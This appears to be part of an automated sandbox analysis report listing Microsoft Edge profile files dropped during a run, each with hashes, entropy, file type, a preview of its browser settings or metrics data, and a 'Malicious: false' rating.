Preview:	{"apps_count_check_time":"13366255156767680","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAAMAAAAAAAAAAAA=","dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"edge_standalone_sidebar":{"upsell_trigger_count":1},"fire_local_softlanding_notification":false,"fre":{"has_first_v

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\44fe9064-4c71-4f6d-9553-14f1a65c7036.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8321
Entropy (8bit):	5.786451354321468
Encrypted:	false
SSDEEP:	192:fsNwyrtaeiRUmojjikSC6qRAq1k8SPxVLZ7VTiQ:fsNw4gifhSC6q3QxVNZTiQ
MD5:	16A072A35338B97901D5DC3B5AE7BE2A
SHA1:	423BC1E772A7EE51B364C91FAB9E9BA9C41153EB
SHA-256:	5150690C752330A691036E3B73D8E6531F836A4527E06C32F44DECAF88D87BE8
SHA-512:	B303491CE8A5D732460614B9685F9FEBFA5E767A209F4D9B895DB3EF78AED1CE06E018B753C858A17F883629065F57168AB4C53017132BC6D391E200A04D43F4
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\99053f93-9e5f-4cc3-8f51-b54119bfd37d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26853
Entropy (8bit):	6.042530712454084
Encrypted:	false
SSDEEP:	768:VM7X2zt1jOXtXi3zahI1jPOB6VhS7OdMZc1K6vn0+kZ:VMSzMtXijaK1jkJCF0+kZ
MD5:	0BDEEFAD79CA7DEB7BD72E4F2AF40575
SHA1:	04A4F2844D63CF78AD23BBF6D639E89AA509A56C
SHA-256:	2651E9D0FFDF723CB63B00C1EFB3D0D386944D6AD7899217D7E65057459701D0
SHA-512:	CEE323D8D72F4ECF36D06BD8931B94145418127F20446E305A992BE079C335770D9ED6A4BE9EC110DAEC377DAD86E6A9C725C6581DF4E717CAEE8C269E7537D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366255156767680","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\a3af3a0c-65f5-4d00-b1cb-cabdeb22827f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640152892265458
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7s:fwUQC5VwBIiElEd2K57P7s
MD5:	21CD56820995C4514E60CF6C82134DFC
SHA1:	A474999736344AA8AEA008407B41931EEBD8DCAD
SHA-256:	98615125BD47487A65491F2C4A8EE0C4B5292D510883CE63CE6B7EA1A4CDF1C8
SHA-512:	81135B67AAE29842C59867D614923BE960D2B69AFABEBC2694D86E39C6CCAEBA789BE9EA3245E67418378E8754674B638502FFC77D7ED1C9A6F1C64DF4525969
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640152892265458
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7s:fwUQC5VwBIiElEd2K57P7s
MD5:	21CD56820995C4514E60CF6C82134DFC
SHA1:	A474999736344AA8AEA008407B41931EEBD8DCAD
SHA-256:	98615125BD47487A65491F2C4A8EE0C4B5292D510883CE63CE6B7EA1A4CDF1C8
SHA-512:	81135B67AAE29842C59867D614923BE960D2B69AFABEBC2694D86E39C6CCAEBA789BE9EA3245E67418378E8754674B638502FFC77D7ED1C9A6F1C64DF4525969
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66A04D31-D08.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.039632190365325067
Encrypted:	false
SSDEEP:	192:Ii01utmqvDzKX7VJ8iD12absbZHtgbXUh8IYhHBNELi/cRQMpb/3n8y08Tcm2RGY:d0EtQlWCLhhxQt/308T2RGOD
MD5:	FB07ABF8FDCE97E5B66A9487464DF435
SHA1:	1E29C78C8DAD9ACE3B1DFDE299062D25ADE65495
SHA-256:	24A26277A93BBBEB47D7FA6EFA9418FD33B98B7F06595C5C921B59B51AE56E5A
SHA-512:	D17A3CE159BE2F2BDF4DD935BD4695CBB547DB709FED63C9FA24BDB7362CACA9B6584F8D7E76A78BACCE4FACCD212611D775612F6B563651AECE56369091AF5B
Malicious:	false
Preview:	...@..@...@.....C.].....@................a...P..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....e.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".lkjdby20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U.>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z.......................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66A04D33-1F7C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4593004038170516
Encrypted:	false
SSDEEP:	6144:1OyddIslMzzRaHMQ3i6lmqZilCllNaHP:dWzzYNiyu
MD5:	298B52163E4506C75418900B7A90E440
SHA1:	6AEBDBDA13A47037F4A7DFABB500D8E6681941A0
SHA-256:	B43BFB94515A454A2CA823B05F5E139090A1FE46478D63184F97B62611740E11
SHA-512:	0A293F23FCB4A3E53D2BAD196C5883AE0F01FA3E5038E042F8B0571F3A5D3242621B25177CE70F1F5816F7A5F60560B7166DEC0FA4AD4230F426D0561DF2C0B0
Malicious:	false
Preview:	...@..@...@.....C.].....@............... ...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....i.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".lkjdby20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U?:K..>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z............<..8...#...msNurturingAssistanceHomeDependency.....triggered....(..$...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66A04D4C-2BAC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04076862735577213
Encrypted:	false
SSDEEP:	192:XW0EbtmqvDtKX79OJEa3XxxTxqZ/g+XMD970R6Eqh57NgnR21gQMyNnwn8y08Tcp:G0EtPeK8YbBFhxYSguNw08T2RGOD
MD5:	F359154169884DEBB19D713A00601FE8
SHA1:	3EE5A97A72F372B67370B93AD0307AC70E0C5B15
SHA-256:	4C1F0ABF4ADAFBF23910BFAEE558DF9DF18CB08185DE8594C65B4B9B925F2673
SHA-512:	DF387A47198A1C850FA10D1311E6BA59A7B3A72AF47A3B3F7D85ECD8F81CA85BCF0F749E0E14EAF30B308E428FCA72B83331AB8916FDCF23E179C046B34E0240
Malicious:	false
Preview:	...@..@...@.....C.].....@................b...Q..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....}.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".lkjdby20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-66A04D54-235C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.039909614690265785
Encrypted:	false
SSDEEP:	192:zk0EbtmqvD3KX7nJEa3Xxx7uqZGXPtg34N+h0iNEcMO1gQpewq65Jgn8y08Tcm2D:o0Etye18xFhbQagwDq++08T2RGOD
MD5:	995DC5CFC206C3875741DF5122C26F36
SHA1:	83FBC0F97A85A154951BF609A212254939BC4649
SHA-256:	AE185D3BF6CFE205B10F3D8EF1BAAB8E6BB218B97824C0E60FE6D91E546E6DC1
SHA-512:	4BC1089B63CD49B42C2F215B4F130E3FFC365D71C9001F064BF1C207BA7D181E77524EE1339D39471C22BFF017BB45F42BCC47A0E03436199AB8B32D0C16489D
Malicious:	false
Preview:	...@..@...@.....C.].....@................`...O..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....}.........117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".lkjdby20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@............./......................w..U].0r........>.........."....."...2..."..:............B)..1.3.147.37.. .*.RegKeyNotFound2.windowsR...Z.....K7..E@..$...SF@.......Y@.......Y@.......Y@........?........?.................?.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@................Y@.......Y@.......Y@........?........?z...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.3553968406659012
Encrypted:	false
SSDEEP:	12:biUXhV0xosU8xCe+JKlkQuMRxCb8ZXfgYJ0IJpP0KLsyW1L7Fx6:bFRqxosU8xWMk8xVZ4YWI30otWn
MD5:	CFAB81B800EDABACBF6CB61AA78D5258
SHA1:	2730D4DA1BE7238D701DC84EB708A064B8D1CF27
SHA-256:	452A5479B9A2E03612576C30D30E6F51F51274CD30EF576EA1E71D20C657376F
SHA-512:	EC188B0EE4D3DAABC26799B34EE471BEE988BDD7CEB011ED7DF3D4CF26F98932BBBB4B70DC2B7FD4DF9A3981B3CE22F4B5BE4A0DB97514D526E521575EFB2EC6
Malicious:	false
Preview:	...@.@...@..............@...................................`... ...i.y.........CrashpadMetrics.....i.y..Yd.h.......A.......e............,.........W.......................W....................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.UsedPct.......h...i.y.[".................................!...&...+...0...6...;...@...E...K...P...U...Z...`...e...........i.y..Yd.........A............................E.[4.f..................E.[4.f.................Microsoft.UMA.PersistentAllocator.CrashpadMetrics.Errors............i.y..Yd.........A..................._..-`....h-.....................h-....................Crashpad.HandlerLifetimeMilestone.......0...i.y.[".........................................i.y..Yd.@.......C...........................VM....],................WM....],................Stability.BrowserExitCodes...... ...i.y......VM....],........H...i.y.1U!S............................................................ ...i.y...0...WM....],........................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.060980776278344
Encrypted:	false
SSDEEP:	3:FiWWltl/9UgBVP/Sh/JzvLi2RRIxINXj1J1:o1//BVsJDG2Yq
MD5:	74B32A83C9311607EB525C6E23854EE0
SHA1:	C345A4A3BB52D7CD94EA63B75A424BE7B52CFCD2
SHA-256:	06509A7E418D9CCE502E897EAEEE8C6E3DCB1D0622B421DD968AF3916A5BFF90
SHA-512:	ADC193A89F0E476E7326B4EA0472814FE6DD0C16FC010AAF7B4CF78567D5DF6A1574C1CE99A63018AFE7E9AD68918147880621A3C00FAA7AD1014A0056B4B9C4
Malicious:	false
Preview:	sdPC......................5.y&.K.?....................................................................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................48ea0ba2-e9bb-4568-92cb-0f42a5c5d505............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1cc1d055-b06d-436d-83b9-60bdb3c1b063.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13688
Entropy (8bit):	5.240216104526294
Encrypted:	false
SSDEEP:	192:sV0J9pQTryZiuaba4uy6JJDLKhOOxP5Yt3+8qpj+F2o7QA8K1Ih1f:sV0LAJuhJJD+h5RXpU28Qrga
MD5:	DB82981203A060B800019FB939A769BE
SHA1:	40C3BA4415D0E96CE64A0F88CC2E089A7F239448
SHA-256:	076346A69E30C6FF3E9854004D05DA5C778CBFF5EA32BDB4B6A33C3E28834EE8
SHA-512:	C2FB56A4270D40BEBB9777843C10754D602DC66FF9DDA29BF8A5FF68A5A318B0F93E205DC9F234A3AE00D18B0D4C4308F186F60B24DAB04B58FA25F7BCE68629
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13366255156531271","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3eb44487-b9b2-4be6-a259-829af41fbb7b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\497d5c0d-0b7d-4eca-bf1c-9310525b4139.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\56cf4f66-b32e-458c-a307-7cc3fbaf4476.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37817
Entropy (8bit):	5.5556575271817605
Encrypted:	false
SSDEEP:	768:Q5/GIW7pLGLvF7WPG0f/t8F1+UoAYDCx9Tuqh0VfUC9xbog/OVfY0S2rwVhfwDd2:Q5/GI2cvF7WPG0f/tu1jaerSTVhSdt+
MD5:	70C269BF584DD282EE89206793CB8C95
SHA1:	05A69D47FF542A4576F1A63F22686A6BB1C5B3A9
SHA-256:	CD3AD301A6E9E2D77580821300A379634CA6B27968A8407CEF1082F3E98AC4B7
SHA-512:	2D135038B1AADBCC7859BE98E8FCDCFA068C1237F4D7C971F7A099E1B538C576CE3A11EAADA49BA5A2B3203DC159E588640FAE99E953169052D546AC5D36E006
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366255155905546","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366255155905546","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5a155d3e-399a-4780-8fb9-d46cd1512c13.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12923
Entropy (8bit):	5.169857874577098
Encrypted:	false
SSDEEP:	192:sV0J9pQTryZiuaba4uy6JJDLKhOwYt3+8qpj+F2o7QAl0Ih1f:sV0LAJuhJJD+h/pU28QC0a
MD5:	9A483EE0FCD330F63D96CCA2A99BD1A3
SHA1:	777D5660BE6664E4C1A66E5EE6757F933F87D97F
SHA-256:	2EC864C1EF0A452A76812EF6743F9244245379AD3211FACB82CDFE2896F02E39
SHA-512:	1C6F9202F0289B33533A8FB2D084E829B3CFF83A4FCB6FA11BF028941B1C9A3A266FCDAA3356D12D3A870101AB645706D01953FF8DF525BFEECEA9F0A434F4D8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13366255156531271","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\885aa454-ea25-45e9-b01c-9993f881e685.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	39660
Entropy (8bit):	5.56216239383001
Encrypted:	false
SSDEEP:	768:Q5/GIW7pLGLvF7WPG0f/t8F1+UoAYDCx9Tuqh0VfUC9xbog/OVHBnY0S2rwVhf8M:Q5/GI2cvF7WPG0f/tu1jaKBnrSTVh+d0
MD5:	52DB66B909773D28AC86D8C2D644C518
SHA1:	F3E534EF269FF63616FDDD303786AD5603F6C957
SHA-256:	986448FF566BC68D6D784BC9F4C3615493C365EDCBE51F122E739D852BB0F86F
SHA-512:	1EAB5534C7479CBE0BCCF6E4ED802106983A6E0B4717098C99C582E104518EF2017B4FA2F962F383C1F09C22A7391066F0EA52DA37D9AA3536DDDA8573BDA0A4
Malicious:	false
